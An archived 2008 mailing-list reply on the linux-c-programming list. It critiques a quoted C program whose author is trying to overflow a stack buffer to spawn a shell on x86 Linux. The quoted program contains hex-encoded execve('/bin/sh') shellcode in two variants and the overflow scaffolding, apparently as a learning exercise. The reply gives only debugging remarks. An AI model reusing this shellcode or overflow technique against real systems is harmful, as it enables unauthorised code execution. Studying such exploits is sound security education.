From mboxrd@z Thu Jan  1 00:00:00 1970
From: vincent-perrier <vincent-perrier@club-internet.fr>
Subject: Re: buffer overflow
Date: Tue, 11 Mar 2008 19:32:29 +0100
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References: <47D621E6.1090403@linux.vnet.ibm.com>
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To: Varun Chandramohan <varunc@linux.vnet.ibm.com>
Cc: linux-c-programming@vger.kernel.org

This is bad:
memset(&buffer,0,sizeof(buffer));
buffer is already the address of the space:
memset(buffer,0,...); is what I would do

This is bad too:
for (i = 0; i < 32; i++)
   *(long_ptr + i) =  (long)&buffer;

and most certainly does not do what you want.


On Tue, 2008-03-11 at 11:38 +0530, Varun Chandramohan wrote:
> Hi all,
> 
>              Can someone tell me whats is wrong with this program? All i
> get is seg fault. Iam trying to create a stack overflow and exec a
> shell. Somehow its not working. The system is x86 on linux.
> gcc (GCC) 4.1.1 20070105 (Red Hat 4.1.1-52)
> Copyright (C) 2006 Free Software Foundation, Inc.
> This is free software; see the source for copying conditions.  There is NO
> warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
> 
> 
> 
> The Code:
> #include <stdio.h>
> #include <string.h>
> 
> char shellcode[] =
>         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
>         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
>         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
> #if 0
> char shellcode[] =
>         "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
>         "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
>         "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
>         "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
> 
> #endif
> 
> char large_string[128];
> int main() {
>   char buffer[96];
>   int i;
>   long *long_ptr = (long *) large_string;
>   memset(&buffer,0,sizeof(buffer));
> 
>   for (i = 0; i < 32; i++)
>     *(long_ptr + i) =  (long)&buffer;
> 
>   for (i = 0; i < strlen(shellcode); i++)
>     large_string[i] = shellcode[i];
> 
>   strcpy(buffer,large_string);
> }
> 
> --
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